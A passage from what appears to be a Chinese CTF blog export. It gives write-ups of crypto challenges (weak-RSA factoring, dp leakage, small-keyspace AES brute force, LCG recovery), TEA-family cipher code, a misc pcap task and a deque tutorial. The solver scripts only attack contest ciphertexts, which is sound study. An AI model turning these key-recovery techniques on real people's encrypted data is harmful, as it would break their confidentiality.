gammaimport randomdef nextPrime(n): n += 2 if n & 1 else 1 while not isPrime(n): n += 2 return ndef getNewPrime(): A = getPrime(512) B = nextPrime(A - random.randint(1e4,1e5)) return nextPrime(gamma(B+2)%A) p = getNewPrime()q = getNewPrime()r = getNewPrime()n = p * q ** 2 * r ** 3e = 0x10001c = pow(flag,e,n)#pA=6814157460586876042804041951834304833424062437744287469257313954502540797027261340622077218188033865281590529907571701131297782609357118357982463723982789#pB=6814157460586876042804041951834304833424062437744287469257313954502540797027261340622077218188033865281590529907571701131297782609357118357982463723922147#qA=7145646366857234331692232566211321498245533826533958883943688415057871253511271731661019642050252046201115975396366275083424623329930477623781348477881291#qB=7145646366857234331692232566211321498245533826533958883943688415057871253511271731661019642050252046201115975396366275083424623329930477623781348477807457#n=4451906216583258787166698210560165433649728830889954633721198623488802305844782492171757604711145165920462286487680020347239300947225371917344589502941576734875830871998499135120227347066586066943289430156378296665669974728569678779668142712266780949126509440672273927433367293606776081254094682033167575930701870261219046464773708974194213798032346187463443317770758989273370488582862531630356263732232300508706676725203199729764016766683870925164232508407363688370458877688991733322055785233669885166225464068579486683574954699370175267031949720967812902215635630884502987094547523361027411501285252862476410213277925430392164226297316310465146003494714018456407793759170649913180823814850170639706664167149612984905056804131124522209409607977589884632999710708045656852149371030046919242039957767777840304466948549383597755811307383659188216421501912831203089570725388153416013596114462069777713822433178099904907224119#c=1996198968748552041728429851810599627895157160099076033250854211280074825148767841655949210593646824507865483166496070951130337321360509148527292165245205219296211294789087358959553387392928560150390604911087085313000622842025416521494799132969818997182731021267942464323979261593380113740152841984062184326431879167516288834455296913822921806893572566867611541664848820247889274979245086440402996661226884320574824077910315143756471444347386795428338020162169391827182914043434253974549636668126789355991920452920806351939782281969098470635517019120996509180703896707990501216102290302162705699788457579330150149320348175742131887213742989509004374645723471497302400169849858253644606818874098604333865973357374444445825761600866472906771935670261641342221394488068630591190697667016958881530367047928341661857241378511420562236766886349565409774340321441504290366223243635878057759623855735794209219474650425139791831374 ​ hint给了要用到威尔逊定理,于是复习了一下: 在初等数论中,威尔逊定理给出了判定一个自然数是否素数的充分必要条件。即:当且仅当p为素数时:( p -1 )! ≡ -1 ( mod p ) ​ 推导过程: ​ exp: 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849from math import gammaimport randomimport gmpy2import binasciifrom Cryptodome.Util.number import *def nextPrime(n): n += 2 if n & 1 else 1 while not isPrime(n): n += 2 return ndef getNewPrime(): A = getPrime(512) B = nextPrime(A - random.randint(1e4,1e5)) return nextPrime(gamma(B+2)%A)pA=6814157460586876042804041951834304833424062437744287469257313954502540797027261340622077218188033865281590529907571701131297782609357118357982463723982789pB=6814157460586876042804041951834304833424062437744287469257313954502540797027261340622077218188033865281590529907571701131297782609357118357982463723922147qA=7145646366857234331692232566211321498245533826533958883943688415057871253511271731661019642050252046201115975396366275083424623329930477623781348477881291qB=7145646366857234331692232566211321498245533826533958883943688415057871253511271731661019642050252046201115975396366275083424623329930477623781348477807457e = 0x10001n=4451906216583258787166698210560165433649728830889954633721198623488802305844782492171757604711145165920462286487680020347239300947225371917344589502941576734875830871998499135120227347066586066943289430156378296665669974728569678779668142712266780949126509440672273927433367293606776081254094682033167575930701870261219046464773708974194213798032346187463443317770758989273370488582862531630356263732232300508706676725203199729764016766683870925164232508407363688370458877688991733322055785233669885166225464068579486683574954699370175267031949720967812902215635630884502987094547523361027411501285252862476410213277925430392164226297316310465146003494714018456407793759170649913180823814850170639706664167149612984905056804131124522209409607977589884632999710708045656852149371030046919242039957767777840304466948549383597755811307383659188216421501912831203089570725388153416013596114462069777713822433178099904907224119c=1996198968748552041728429851810599627895157160099076033250854211280074825148767841655949210593646824507865483166496070951130337321360509148527292165245205219296211294789087358959553387392928560150390604911087085313000622842025416521494799132969818997182731021267942464323979261593380113740152841984062184326431879167516288834455296913822921806893572566867611541664848820247889274979245086440402996661226884320574824077910315143756471444347386795428338020162169391827182914043434253974549636668126789355991920452920806351939782281969098470635517019120996509180703896707990501216102290302162705699788457579330150149320348175742131887213742989509004374645723471497302400169849858253644606818874098604333865973357374444445825761600866472906771935670261641342221394488068630591190697667016958881530367047928341661857241378511420562236766886349565409774340321441504290366223243635878057759623855735794209219474650425139791831374#求 ((pA-2)!/(pB+1)!)%pA 的逆元,等于((pB+1)!)%pA ,等于gamma(pB+2)%pAp = 1max = (pA-2) - (pB+1)for i in range(0,max): p = p * gmpy2.invert((pA-i-2),pA) % pAp = nextPrime(p)#求 ((qA-2)!/(qB+1)!)%qA 的逆元,等于((qB+1)!)%qA ,等于gamma(qB+2)%qAq = 1max = (qA-2) - (qB+1)for i in range(0,max): q = q * gmpy2.invert((qA-i-2),qA) % qAq = nextPrime(q)r = gmpy2.iroot(gmpy2.mpz(n//(p*q**2)),3)print(r)print('p =',p)print('q =',q)print('r =',r[0])phi = (p-1)*(q**2-q)*(r[0]**3-r[0]**2)d = gmpy2.invert(e,phi)m = pow(c, d, n)print(long_to_bytes(m))","categories":[{"name":"赛事","slug":"赛事","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/"},{"name":"CTFshow-月饼杯","slug":"赛事/CTFshow-月饼杯","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/CTFshow-%E6%9C%88%E9%A5%BC%E6%9D%AF/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"ctfshow","slug":"ctfshow","permalink":"http://example.com/tags/ctfshow/"},{"name":"赛事","slug":"赛事","permalink":"http://example.com/tags/%E8%B5%9B%E4%BA%8B/"}]},{"title":"CTFshow-ROARCTF-Reverse","slug":"CTFshow-ROARCTF-Reverse","date":"2022-01-18T03:06:27.000Z","updated":"2022-01-19T15:35:32.000Z","comments":true,"path":"2022/01/18/CTFshow-ROARCTF-Reverse/","link":"","permalink":"http://example.com/2022/01/18/CTFshow-ROARCTF-Reverse/","excerpt":"​ 根据题目所给算法,通过递归爆破获得p,q破解密文。","text":"​ 根据题目所给算法,通过递归爆破获得p,q破解密文。 ​ 题目: 12345678910111213141516171819202122232425from Crypto.Util.number import *from gmpy2 import *from secret import *assert(flag.decode().startswith('flag{')) and (flag.decode().endswith('}'))def reverse(x): y = 0 while x != 0: y = y*2 + x%2 x = x // 2 return ywhile True: p = getStrongPrime(512) q = reverse(p) if is_prime(q): breakn = p*qe = 65537m = bytes_to_long(flag)enc = powmod(m,e,n)#n = 158985980192501034004997692253209315116841431063210516613522548452327355222295231366801286879768949611058043390843949610463241574886852164907094966008463721486557469253652940169060186477803255769516068561042756903927308078335838348784208212701919950712557406983012026654876481867000537670622886437968839524889#enc = 103728452309804750381455306214814700768557462686461157761076359181984554990431665209165298725569861567865645228742739676539208228770740802323555281253638825837621845841771677911598039696705908004858472132222470347720085501572979109563593281375095145984000628623881592799662103680478967594601571867412886606745 ​ 实际上reverse()的作用就是将传入参数的二进制表示倒序排列形成一个新的数,因此题目中的p和q是512位长度且01序列顺序相反的2进制数;所以我们可以通过遍历p(512位)的01序列(因为顺序相反,其实也在遍历q),并与n的二进制表示得到每一位进行比对,来获得p、q的值。 ​ exp: 12345678910111213141516171819202122232425262728293031323334353637from Crypto.Util.number import *import gmpy2n = 158985980192501034004997692253209315116841431063210516613522548452327355222295231366801286879768949611058043390843949610463241574886852164907094966008463721486557469253652940169060186477803255769516068561042756903927308078335838348784208212701919950712557406983012026654876481867000537670622886437968839524889c = 103728452309804750381455306214814700768557462686461157761076359181984554990431665209165298725569861567865645228742739676539208228770740802323555281253638825837621845841771677911598039696705908004858472132222470347720085501572979109563593281375095145984000628623881592799662103680478967594601571867412886606745e = 65537def Brute_force(a, b, k): if k == 256: if a * b == n:#跳出递归的条件 print(a, b) return 0 for i in range(2): for j in range(2): a1 = a + i * (2 ** (511 - k)) + j * (2 ** k) b1 = b + j * (2 ** (511 - k)) + i * (2 ** k) #限制条件一,加快爆破速度 if a1 * b1 > n: continue #限制条件二,加快爆破速度 if (a1 + 2 ** (511 - k)) * ((b1 + 2 ** (511 - k))) < n: continue #这个条件限制n从低位到高位的每一位和爆破出来的每一位相等,是不可缺少的限制条件 if (a1 * b1) % (2 ** (k + 1)) != n % (2 ** (k + 1)): continue Brute_force(a1, b1, k + 1) return 0Brute_force(0, 0, 0)p = 11954360020159164180709939019047385560179850436770100207193049651260543609501871575909448998378290922795824941066935928157032997160163537467165365731882943q = 13299413764048930133302138749466137829470129709829516069778014310838093114516400589047888072065037035007023741009041669893387899867083575829855377403280423phi = (p-1)*(q-1)d = gmpy2.invert(e,phi)flag = long_to_bytes(pow(c,d,n))print(flag) flag{b92d9b6c-e75d-4cbb-bc39-bf39a2f57c3f}","categories":[{"name":"ctfshow","slug":"ctfshow","permalink":"http://example.com/categories/ctfshow/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"ctfshow","slug":"ctfshow","permalink":"http://example.com/tags/ctfshow/"}]},{"title":"TEA、XTEA、XXTEA加解密","slug":"TEA、XTEA、XXTEA加解密","date":"2022-01-13T02:55:59.000Z","updated":"2022-01-13T04:26:26.000Z","comments":true,"path":"2022/01/13/TEA、XTEA、XXTEA加解密/","link":"","permalink":"http://example.com/2022/01/13/TEA%E3%80%81XTEA%E3%80%81XXTEA%E5%8A%A0%E8%A7%A3%E5%AF%86/","excerpt":"算法简介 TEA(Tiny Encryption Algorithm) 是一种简单高效的分组加密算法,以加密解密速度快,实现简单著称,因为其以异或和模加运算为基础,这两种运算计算机实现的效率很高。TEA算法每一次可以操作64-bit(8-byte),采用128-bit(16-byte)作为key,算法采用迭代的形式,推荐的迭代轮数是64轮,最少32轮。","text":"算法简介 TEA(Tiny Encryption Algorithm) 是一种简单高效的分组加密算法,以加密解密速度快,实现简单著称,因为其以异或和模加运算为基础,这两种运算计算机实现的效率很高。TEA算法每一次可以操作64-bit(8-byte),采用128-bit(16-byte)作为key,算法采用迭代的形式,推荐的迭代轮数是64轮,最少32轮。 ​ TEA 算法最初是由剑桥计算机实验室的 David Wheeler 和 Roger Needham 在 1994 年设计的。该算法使用 128 位的密钥为 64 位的信息块进行加密,它需要进行 64 轮迭代,尽管作者认为 32 轮已经足够了。该算法使用了一个神秘常数δ作为倍数,它来源于黄金比率,以保证每一轮加密都不相同。但δ的精确值似乎并不重要,这里 TEA 把它定义为 δ=「(√5 - 1)231」(也就是程序中的 0×9E3779B9)。 ​ 之后 TEA 算法被发现存在缺陷,作为回应,设计者提出了一个 TEA 的升级版本——XTEA(有时也被称为“tean”)。XTEA 跟 TEA 使用了相同的简单运算,但它采用了截然不同的顺序,为了阻止密钥表攻击,四个子密钥(在加密过程中,原 128 位的密钥被拆分为 4 个 32 位的子密钥)采用了一种不太正规的方式进行混合,但速度更慢了。 ​ 在跟描述 XTEA 算法的同一份报告中,还介绍了另外一种被称为 Block TEA 算法的变种,它可以对 32 位大小任意倍数的变量块进行操作。该算法将 XTEA 轮循函数依次应用于块中的每个字,并且将它附加于它的邻字。该操作重复多少轮依赖于块的大小,但至少需要 6 轮。该方法的优势在于它无需操作模式(CBC,OFB,CFB 等),密钥可直接用于信息。对于长的信息它可能比 XTEA 更有效率。 ​ 在 1998 年,Markku-Juhani Saarinen 给出了一个可有效攻击 Block TEA 算法的代码,但之后很快 David J. Wheeler 和 Roger M. Needham 就给出了 Block TEA 算法的修订版,这个算法被称为 XXTEA。XXTEA 使用跟 Block TEA 相似的结构,但在处理块中每个字时利用了相邻字。它利用一个更复杂的 MX 函数代替了 XTEA 轮循函数,MX 使用 2 个输入量。 TEA加密算法​ TEA的分组长度为64位,密钥长度为128位,采用Feistel网络,建议32次循环加密即64轮。Feistel网络是一种分组密码常用的结构,其特点为明文分为等长两组,每一轮只加密一半,其安全性与密钥长度、分组长度、轮函数复杂度等有关。使用Feistel网络的密码算法,解密与加密流程类似,通常解密只需要用加密使用的硬件或者软件进行适当修改即可,提高效率降低成本。其结构如下所示: ​ TEA的加密流程图解: ​ 加解密C实现: 1234567891011121314151617181920212223242526272829303132333435#include <stdio.h>void encrypt(unsigned int* v, unsigned int* key) { unsigned int l = v[0], r = v[1], sum = 0, delta = 0x9e3779b9; for (size_t i = 0; i < 32; i++) { sum += delta; l += ((r << 4) + key[0]) ^ (r + sum) ^ ((r >> 5) + key[1]); r += ((l << 4) + key[2]) ^ (l + sum) ^ ((l >> 5) + key[3]); } v[0] = l; v[1] = r;} void decrypt(unsigned int* v, unsigned int* key) { unsigned int l = v[0], r = v[1], sum = 0, delta = 0x9e3779b9; sum = delta *32; for (size_t i = 0; i < 32; i++) { r -= ((l << 4) + key[2]) ^ (l + sum) ^ ((l >> 5) + key[3]); l -= ((r << 4) + key[0]) ^ (r + sum) ^ ((r >> 5) + key[1]); sum -= delta; } v[0] = l; v[1] = r;}//注意,这种写法是把两轮加密合为一轮来写的,所以写法与des有些不同int main(int argc, char const *argv[]){ //test unsigned int v[2]={1,2},key[4]={1,2,3,4}; printf("%u,%u\\n",v[0],v[1]); encrypt(v,key); printf("%u,%u\\n",v[0],v[1]); decrypt(v,key); printf("%u,%u\\n",v[0],v[1]); return 0;} XTEA加密算法​ XTEA是TEA的扩展,同样是一个64位块的Feistel密码,使用128位密钥,建议64轮。 ​ 加密流程图解: ​ 加解密C实现: 1234567891011121314151617181920212223242526272829303132333435#include <stdio.h>void encrypt(unsigned int* v, unsigned int* key) { unsigned int l = v[0], r = v[1], sum = 0, delta = 0x9e3779b9; for (size_t i = 0; i < 32; i++) { l += (((r << 4) ^ (r >> 5)) + r) ^ (sum + key[sum & 3]); sum += delta; r += (((l << 4) ^ (l >> 5)) + l) ^ (sum + key[(sum >> 11) & 3]); } v[0] = l; v[1] = r;} void decrypt(unsigned int* v, unsigned int* key) { unsigned int l = v[0], r = v[1], sum = 0, delta = 0x9e3779b9; sum = delta * 32; for (size_t i = 0; i < 32; i++) { r -= (((l << 4) ^ (l >> 5)) + l) ^ (sum + key[(sum >> 11) & 3]); sum -= delta; l -= (((r << 4) ^ (r >> 5)) + r) ^ (sum + key[sum & 3]); } v[0] = l; v[1] = r;} int main(int argc, char const *argv[]){ //test unsigned int v[2]={1,2},key[4]={1,2,3,4}; printf("%u,%u\\n",v[0],v[1]); encrypt(v,key); printf("%u,%u\\n",v[0],v[1]); decrypt(v,key); printf("%u,%u\\n",v[0],v[1]); return 0;} XXTEA加密算法​ XXTEA是一个非平衡Feistel网络分组密码,在可变长度块上运行,这些块是32位大小的任意倍数(最小64位),使用128位密钥。 ​ 加密流程图解: ​ 加解密C实现: 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465#include <stdio.h> #include <stdint.h> #define DELTA 0x9e3779b9 #define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z))) void btea(uint32_t *v, int n, uint32_t const key[4]) { uint32_t y, z, sum; unsigned p, rounds, e; if (n > 1) /* Coding Part */ { rounds = 6 + 52/n; sum = 0; z = v[n-1]; do { sum += DELTA; e = (sum >> 2) & 3; for (p=0; p<n-1; p++) { y = v[p+1]; z = v[p] += MX; } y = v[0]; z = v[n-1] += MX; } while (--rounds); } else if (n < -1) /* Decoding Part */ { n = -n; rounds = 6 + 52/n; sum = rounds*DELTA; y = v[0]; do { e = (sum >> 2) & 3; for (p=n-1; p>0; p--) { z = v[p-1]; y = v[p] -= MX; } z = v[n-1]; y = v[0] -= MX; sum -= DELTA; } while (--rounds); } } int main() { uint32_t v[2]= {1,2}; uint32_t const k[4]= {2,2,3,4}; int n= 2; //n的绝对值表示v的长度,取正表示加密,取负表示解密 // v为要加密的数据是两个32位无符号整数 // k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位 printf("加密前原始数据:%u %u\\n",v[0],v[1]); btea(v, n, k); printf("加密后的数据:%u %u\\n",v[0],v[1]); btea(v, -n, k); printf("解密后的数据:%u %u\\n",v[0],v[1]); return 0; }","categories":[{"name":"其它加密算法","slug":"其它加密算法","permalink":"http://example.com/categories/%E5%85%B6%E5%AE%83%E5%8A%A0%E5%AF%86%E7%AE%97%E6%B3%95/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"}]},{"title":"长安战疫安全竞赛","slug":"西安战疫安全竞赛","date":"2022-01-09T05:21:12.000Z","updated":"2022-05-30T05:22:26.000Z","comments":true,"path":"2022/01/09/西安战疫安全竞赛/","link":"","permalink":"http://example.com/2022/01/09/%E8%A5%BF%E5%AE%89%E6%88%98%E7%96%AB%E5%AE%89%E5%85%A8%E7%AB%9E%E8%B5%9B/","excerpt":"​ 题目不算难,获得了证书但成绩不算好,密码学应该要ak的,还是不够专注吧,做一半就跑去看杂项了。学到很多东西,遇到了CTF拿到国奖和国际奖以及AI发paper、机器人竞赛国二的大大大大佬,也认识了初中就能参加春秋杯进前十的小可爱…人外有人,天外有天,需要勤勤恳恳,踏踏实实地提升自己,某一天终会绽放光芒。最后,西安加油,山河无恙!","text":"​ 题目不算难,获得了证书但成绩不算好,密码学应该要ak的,还是不够专注吧,做一半就跑去看杂项了。学到很多东西,遇到了CTF拿到国奖和国际奖以及AI发paper、机器人竞赛国二的大大大大佬,也认识了初中就能参加春秋杯进前十的小可爱…人外有人,天外有天,需要勤勤恳恳,踏踏实实地提升自己,某一天终会绽放光芒。最后,西安加油,山河无恙! Misc八卦迷宫:​ 走出迷宫只有一条路径,根据题目说的需要提交拼音,猜测只需要按照路径把路径上的卦象对应的汉字拼音依次输入即可。需要用cazy{}包裹。 西安加油wireshark打开附件,http过滤,找到状态码为200的包: 其中一个只有数字和大写字母,猜测为base32: 网站解密,给出了图片顺序,猜测和flag有关: 另一个包的数据段里面是base64先解密前面一段,发现有关键词PK,猜测是zip文件base64加密: 解密脚本如下: 12345678910111213import base64from io import BytesIOimage_64_encode = "data:application/zip;base64,UEsDBBQAAAAAAA..."starter = image_64_encode.find(',')zip_data = image_64_encode[starter+1:]file_data = bytes(zip_data, encoding="ascii")d=base64.b64decode(file_data)with open("zip_decode1.zip", 'wb') as f: f.write(d) 数据段太长了,简写了。 得到zip文件,解压发现是47张图,按照base32明文的提示进行编号,拼凑可得flag Cryptono_cry_no_can​ 类似于简单的多表替换,将flag的每一位依次与key进行异或加密(key重复几次),得到密文,根据前几位”cazy{“可先将key求出来,然后用key与密文异或解密,附脚本: 1234567891011121314b'<pH\\x86\\x1a&"m\\xce\\x12\\x00pm\\x97U1uA\\xcf\\x0c:NP\\xcf\\x18~l'b'cazy{'flag1 = 'cazy{'out = '<pH\\x86\\x1a&"m\\xce\\x12\\x00pm\\x97U1uA\\xcf\\x0c:NP\\xcf\\x18~l'for i in range(5): print(ord(flag1[i])^ord(out[i]))list = [95,17,50,255,97]*5list = list+[95,17]s= ''for i in range(27): s=s+chr(ord(out[i])^list[i])print(s) cazy{y3_1s_a_h4nds0me_b0y!} no_can_no_bb​ 简单aes加密,自定义了填充算法pad,由于密钥key随机范围太小,仅在1到2的20次方之间,可以通过爆破密钥破解密码,得到flag,附脚本: 1234567891011121314from Crypto.Util.number import *from Crypto.Cipher import AESc = b'\\x9d\\x18K\\x84n\\xb8b|\\x18\\xad4\\xc6\\xfc\\xec\\xfe\\x14\\x0b_T\\xe3\\x1b\\x03Q\\x96e\\x9e\\xb8MQ\\xd5\\xc3\\x1c'def pad(m): tmp = 16-(len(m)%16) return m + bytes([tmp for _ in range(tmp)])for i in range(1<<20): key = pad(long_to_bytes(i)) aes = AES.new(key, AES.MODE_ECB) flag=aes.decrypt(c) if flag[0:5]== b'cazy{': print(flag) cazy{n0_c4n,bb?n0p3!} no_math_no_cry​ 赛后才想起来开平方有负根,这题白给了QAQ. 初中数学题,含开平方的计算,exp: 123456789from Crypto.Util.number import*import gmpy2num1 = 10715086071862673209484250490600018105614048117055336074437503883703510511248211671489145400471130049712947188505612184220711949974689275316345656079538583389095869818942817127245278601695124271626668045250476877726638182396614587807925457735428719972874944279172128411500209111406507112585996098530169num2 = num1 - 0x0338470num3 = gmpy2.iroot(num2,2)[0]m = -num3 + (1<<500)flag = str(long_to_bytes(m))print(flag) cazy{1234567890_no_m4th_n0_cRy} LinearEquations​ 这题也是白给,前几天正好学了LCG的攻击方式,已经推出递推关系了,当时忙着去拼杂项那题的flag没做下去。完整分析过程: exp: 1234567891011121314from Crypto.Util.number import *import gmpy2data = [2626199569775466793, 8922951687182166500, 454458498974504742, 7289424376539417914, 8673638837300855396]n = 10104483468358610819print(getRandomInteger(64))print(len(data))tmp = [0]for i in range(1,5): tmp.append(data[i] - data[i - 1])a = (tmp[2] * tmp[3] - tmp[1] * tmp[4]) * gmpy2.invert(tmp[2] * tmp[2] - tmp[1] * tmp[3],n) % nb = (tmp[3] - a * tmp[2]) * gmpy2.invert(tmp[1],n) % nc = (data[4] - a * data[3] - b * data[2]) % nprint(a,b,c)print(b'cazy{' + long_to_bytes(a) + long_to_bytes(b) + long_to_bytes(c) + b'}') cazy{L1near_Equ4t1on6_1s_34sy} math​ 这道题应该算是最难的一道,也是唯一做不出来的,看了La大佬的unusualrsa学习解法: exp: 123456789101112131415161718192021222324252627from Crypto.Util.number import *import gmpy2from functools import *pinvq = 0x63367a2b947c21d5051144d2d40572e366e19e3539a3074a433a92161465543157854669134c03642a12d304d2d9036e6458fe4c850c772c19c4eb3f567902b3qinvp = 0x79388eb6c541fffefc9cfb083f3662655651502d81ccc00ecde17a75f316bc97a8d888286f21b1235bde1f35efe13f8b3edb739c8f28e6e6043cb29569aa0e7bc = 0x5a1e001edd22964dd501eac6071091027db7665e5355426e1fa0c6360accbc013c7a36da88797de1960a6e9f1cf9ad9b8fd837b76fea7e11eac30a898c7a8b6d8c8989db07c2d80b14487a167c0064442e1fb9fd657a519cac5651457d64223baa30d8b7689d22f5f3795659ba50fb808b1863b344d8a8753b60bb4188b5e386e = 0x10005d = 0xae285803302de933cfc181bd4b9ab2ae09d1991509cb165aa1650bef78a8b23548bb17175f10cddffcde1a1cf36417cc080a622a1f8c64deb6d16667851942375670c50c5a32796545784f0bbcfdf2c0629a3d4f8e1a8a683f2aa63971f8e126c2ef75e08f56d16e1ec492cf9d26e730eae4d1a3fecbbb5db81e74d5195f49f1for k in range(100000): if((e * d - 1) % (100000 - k) == 0): print(100000 - k) break# print(e)k = 60701phi = (e * d - 1) // kprint(phi)x = 1 + qinvp * phi - qinvptmp1 = pow(2,phi,x) - 1tmp2 = pow(3,phi,x) - 1tmp3 = pow(5,phi,x) - 1p = reduce(gmpy2.gcd,[tmp1,tmp2,tmp3])q = gmpy2.invert(qinvp,p)n = p * qm = pow(c,d,n)print(long_to_bytes(m)) flag{c4617a206ba83d7f824dc44e5e67196a}","categories":[{"name":"赛事","slug":"赛事","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/"},{"name":"长安战疫2022","slug":"赛事/长安战疫2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/%E9%95%BF%E5%AE%89%E6%88%98%E7%96%AB2022/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"misc","slug":"misc","permalink":"http://example.com/tags/misc/"},{"name":"赛事","slug":"赛事","permalink":"http://example.com/tags/%E8%B5%9B%E4%BA%8B/"}]},{"title":"Python数据结构—双端队列","slug":"Python数据结构—双端队列","date":"2022-01-06T05:17:21.000Z","updated":"2022-01-06T05:35:34.000Z","comments":true,"path":"2022/01/06/Python数据结构—双端队列/","link":"","permalink":"http://example.com/2022/01/06/Python%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%E2%80%94%E5%8F%8C%E7%AB%AF%E9%98%9F%E5%88%97/","excerpt":"​ 双端队列是与队列类似的有序集合,它有前后两端,元素在其中保持自己的位置,并且可在任一端添加和移除元素,是一种更灵活的数据结构。","text":"​ 双端队列是与队列类似的有序集合,它有前后两端,元素在其中保持自己的位置,并且可在任一端添加和移除元素,是一种更灵活的数据结构。 12345678910111213141516171819202122232425262728293031323334353637383940# python实现双端队列class Deque: def __init__(self): self.items = [] def isEmpty(self): return self.items == [] #规定队列前端为列表的右端 def addFront(self,item): self.items.append(item) def addRear(self,item): self.items.insert(0,item) def removeFront(self): return self.items.pop() def removeRear(self): return self.items.pop(0) def size(self): return len(self.items)# 双端队列应用:回文检测器'''回文是指从左往右和从右往左读都一样的字符串,例如toot,radar。利用双端队列的特性,可以将字符串从队列后端压入,然后同时从前端、后端读取第i个字符,直到队列中所有字符被遍历(偶数个字符),或剩下最中间的一个字符。即实现了回文字符串的判定'''def palchecker(String): chardeque = Deque() for ch in String: chardeque.addRear(ch) stillEqual = True while chardeque.size() > 1 and stillEqual: first = chardeque.removeFront() last = chardeque.removeRear() if first != last: stillEqual = False return stillEqual","categories":[{"name":"python数据结构与算法","slug":"python数据结构与算法","permalink":"http://example.com/categories/python%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%E4%B8%8E%E7%AE%97%E6%B3%95/"}],"tags":[{"name":"python数据结构","slug":"python数据结构","permalink":"http://example.com/tags/python%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/"},{"name":"队列","slug":"队列","permalink":"http://example.com/tags/%E9%98%9F%E5%88%97/"}]},{"title":"RSA—DP泄露(一)","slug":"RSA—DP泄露","date":"2022-01-05T11:39:11.000Z","updated":"2022-02-17T02:35:46.000Z","comments":true,"path":"2022/01/05/RSA—DP泄露/","link":"","permalink":"http://example.com/2022/01/05/RSA%E2%80%94DP%E6%B3%84%E9%9C%B2/","excerpt":"​ dp就是私钥dmod(p-1),即dp = d mod(p-1)。dp泄露的原理如下:","text":"​ dp就是私钥dmod(p-1),即dp = d mod(p-1)。dp泄露的原理如下: ​ 由于得到了X的范围,可以遍历X (65537种可能),利用(p-1)为整数这一限制条件求出( p − 1 ),此时的p不一定正确,还需要验证是否为n的因数,如果是,则说明p无误。得到正确的p以后,可还原明文。 12345678for i in range(1,65538): if (dp*e-1)%i == 0: if n%(((dp*e-1)/i)+1)==0: p=((dp*e-1)/i)+1 q=n/(((dp*e-1)/i)+1) phi = (p-1)*(q-1) d = gmpy2.invert(e,phi)%phi ​ 示例: 12345e = 65537n = 156808343598578774957375696815188980682166740609302831099696492068246337198792510898818496239166339015207305102101431634283168544492984586566799996471150252382144148257236707247267506165670877506370253127695314163987084076462560095456635833650720606337852199362362120808707925913897956527780930423574343287847c = 108542078809057774666748066235473292495343753790443966020636060807418393737258696352569345621488958094856305865603100885838672591764072157183336139243588435583104423268921439473113244493821692560960443688048994557463526099985303667243623711454841573922233051289561865599722004107134302070301237345400354257869dp = 734763139918837027274765680404546851353356952885439663987181004382601658386317353877499122276686150509151221546249750373865024485652349719427182780275825 ​ 解密脚本: 12345678910111213141516171819import gmpy2from Crypto.Util.number import *e = 65537n = 156808343598578774957375696815188980682166740609302831099696492068246337198792510898818496239166339015207305102101431634283168544492984586566799996471150252382144148257236707247267506165670877506370253127695314163987084076462560095456635833650720606337852199362362120808707925913897956527780930423574343287847c = 108542078809057774666748066235473292495343753790443966020636060807418393737258696352569345621488958094856305865603100885838672591764072157183336139243588435583104423268921439473113244493821692560960443688048994557463526099985303667243623711454841573922233051289561865599722004107134302070301237345400354257869dp = 734763139918837027274765680404546851353356952885439663987181004382601658386317353877499122276686150509151221546249750373865024485652349719427182780275825for i in range(1,65538): if (dp*e-1)%i == 0: if n%(((dp*e-1)//i)+1)==0: p=((dp*e-1)//i)+1 print(p) q=n//(((dp*e-1)//i)+1) phi = (p-1)*(q-1) d = gmpy2.invert(e,phi)%phi print(d)m = pow(c,d,n)print(long_to_bytes(m)) wctf2020{dp_leaking_1s_very_d@angerous}","categories":[{"name":"比赛","slug":"比赛","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/"},{"name":"RSA","slug":"比赛/RSA","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/RSA/"},{"name":"数论或其它","slug":"比赛/RSA/数论或其它","permalink":"http://example.com/categories/%E6%AF%94%E8%B5%9B/RSA/%E6%95%B0%E8%AE%BA%E6%88%96%E5%85%B6%E5%AE%83/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"RSA","slug":"RSA","permalink":"http://example.com/tags/RSA/"},{"name":"数论","slug":"数论","permalink":"http://example.com/tags/%E6%95%B0%E8%AE%BA/"}]},{"title":"UNCTF2021-baby_rsa","slug":"UNCTF2021-baby-rsa","date":"2022-01-05T07:38:21.000Z","updated":"2022-02-09T14:10:12.000Z","comments":true,"path":"2022/01/05/UNCTF2021-baby-rsa/","link":"","permalink":"http://example.com/2022/01/05/UNCTF2021-baby-rsa/","excerpt":"​ 和室友一起参加了UNCTF2021,分别获得第二和第三;总的来说题目比较基础,AK了密码和杂项。只记录一道题。","text":"​ 和室友一起参加了UNCTF2021,分别获得第二和第三;总的来说题目比较基础,AK了密码和杂项。只记录一道题。 ​ 题目: 123456789101112131415161718import gmpy2import libnumimport randomimport uuidflag="unctf{"+str(uuid.uuid4())+"}"m=libnum.s2n(flag)p=libnum.generate_prime(1024)q=libnum.generate_prime(1024)n=p*qe=65537c=pow(m*p+n,e,n)print("n=",n)print("c=",c)print("e=",e)#n= 27023180567533176673625876001733765250439008888496677405372613659387969480500400831799338479404533734632060401129194207025095826786316107611502577395964365591899893794206238112244571942694129959717225168573059987542436467778426312967832431595178558711258027999897974942046398583397445299861338203860420721585460676138091828032223153425728023656897880166788811969523526091221520293020106530587453637600349533427641518473788620430866128331962450325767202417824455886116760280239705754222948387172102353564657340216229891342124971948458724351338597649821310431397426705701275774039588035776573373417654649168810548916141#c= 